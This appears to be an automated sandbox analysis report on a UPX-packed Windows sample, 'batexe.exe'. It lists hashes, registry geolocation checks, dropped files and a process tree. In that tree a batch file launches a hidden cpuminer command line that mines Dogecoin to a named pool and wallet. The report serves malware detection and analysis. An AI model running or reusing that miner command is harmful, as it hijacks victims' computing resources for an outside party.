73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 07:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2200714112-3788720386-2559682836-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2200714112-3788720386-2559682836-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4104	b2e.exe
3232	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3232	cpuminer-sse2.exe
3232	cpuminer-sse2.exe
3232	cpuminer-sse2.exe
3232	cpuminer-sse2.exe
3232	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1984-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 4104	1984	batexe.exe	88
PID 1984 wrote to memory of 4104	1984	batexe.exe	88
PID 1984 wrote to memory of 4104	1984	batexe.exe	88
PID 4104 wrote to memory of 2016	4104	b2e.exe	89
PID 4104 wrote to memory of 2016	4104	b2e.exe	89
PID 4104 wrote to memory of 2016	4104	b2e.exe	89
PID 2016 wrote to memory of 3232	2016	cmd.exe	92
PID 2016 wrote to memory of 3232	2016	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8608.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe

Filesize
3.4MB

MD5
552c90daf412dd270b30229f3ce179e2

SHA1
7377396f3d91f84f1d3b5b82520ad936ea37784e

SHA256
57caf3150bc5311f0e4d9fb8afd1f8a082336acc2dacb51b52e52309ad22529f

SHA512
396c41940912d484725261fe9d46ebf2de0168cb2d342104988dea0a31d30131724a42a5c931c3ce2fa2aa88c88c81e679802e3dd4d800db79821bd8e54e0cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe

Filesize
3.1MB

MD5
d3d1e619f50d778e6a1e24094fd1f467

SHA1
173779caf60cacbe7baced4e14bbc6d477d79c57

SHA256
9e4266ebaebc07e76a6fb804ab0623ed1d18d19bf23754aa106bdf75e09b4ebb

SHA512
2f59cffec0d0f586ee6e3030e48aa45749794a7a6017ab3e250cdc441efd83f5776050f4000d9881172cb000e77c00e081c75914c41445787fd68a4e8bc7b01c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7B89.tmp\b2e.exe

Filesize
2.6MB

MD5
c513d8ac28d9f0e3f3440329c484eb99

SHA1
3af83e12f31b55b4942d1228bacab223cee5305e

SHA256
a65e48a0a11223496b15fc7d5c74e40d09b14ceaa359e05a929a30dfb463a5d9

SHA512
2f8007152f64ab5308a0e4f3cb1332720f1c7c753239840c2a52d5068980b32c2373d7a6f8ed2fd0ae40f70f65c6850b4a74c0c6b50a2be6694ecea7f72a00da

Download Submit
C:\Users\Admin\AppData\Local\Temp\8608.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
72e5f8cb5c7bf948b4f6c334b8600779

SHA1
b1b7d8781e99acccbfe159ffd60f41c48c0a7ce8

SHA256
c66f2e0cc16950b268b51714ae3ee54c2039ef1436ddc12c214370260c721ea9

SHA512
dc667080983c24314bef6b402e98b1b5bdb6b67bd2d8cce59fe9f7624bd20e388418139a4dce20d3b2ea6fdfc9030d4eb5b240eeffd3a9d80975c9191e471a76

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
e8cf45c91454f4e89224f2e30a26720f

SHA1
5b51fdef892ffe0d7602f8995df086fe65008d2d

SHA256
ec36cd780b22ef45c5ff0b481f0de4061e1380340ed2a2e810bb44cf5d3e3829

SHA512
4a839ead157b2f23445de616d5564f0b6f470162f8d279b085b8e59341ad4e4fdacd6806c93b04b172872e19491b7d582128824c5dc23ab97451463aa77c988f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
16ce27d2a8567ced9fd2b9864bfa5904

SHA1
2544dfb28db72df1f43710a63e5f18c636dd2d67

SHA256
0c8425f07ad318e81d10f0cbaa55350d68d137ccd9ce11cada05fab29c0f8c9f

SHA512
e96e5cd2e3879273a4d3c9309771fe5203cb6d55d97ada5bb9ff47a3020c1362f6ba3a501f35c805796f48c7b7ef9820f601cbbfabf1d971d955db6204468e7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
7ca7afc81c1be5c8d1f56b16793da43f

SHA1
87d6066292f6569252811b805d3c3539e1497d3d

SHA256
79ca65b0eacb885c2f59efad366585f199ecdc0cfb0e22a6c37086aefe47df66

SHA512
8f036b264437460b30683f91cab02849ba538b25311ab499392feb3e56eae9d964f90f775849f4f495f8b69aaecce45f640cad092bd30d5902437fc5a5e7a8e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
f213a61ee59c62ea555d105197aa459c

SHA1
8df9c03158996f92028435e35bfa8a3e4f3bc950

SHA256
f1ec565c3e233d2fcb9960a31d0d5fc70c9c2b6e1045d2b028290b481941174a

SHA512
8fcc3535b3a8c7bf273fc4d1713baed6dc8eff7481af4b3ce239f553224133614671e486e576ef1057ea73cbf90d1a0c17f9fb7a39fa401bf3ffbbd682ae5b9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1984-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3232-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-46-0x000000006D6C0000-0x000000006D758000-memory.dmp

Filesize
608KB

Download
memory/3232-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3232-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3232-47-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/3232-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3232-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4104-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4104-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download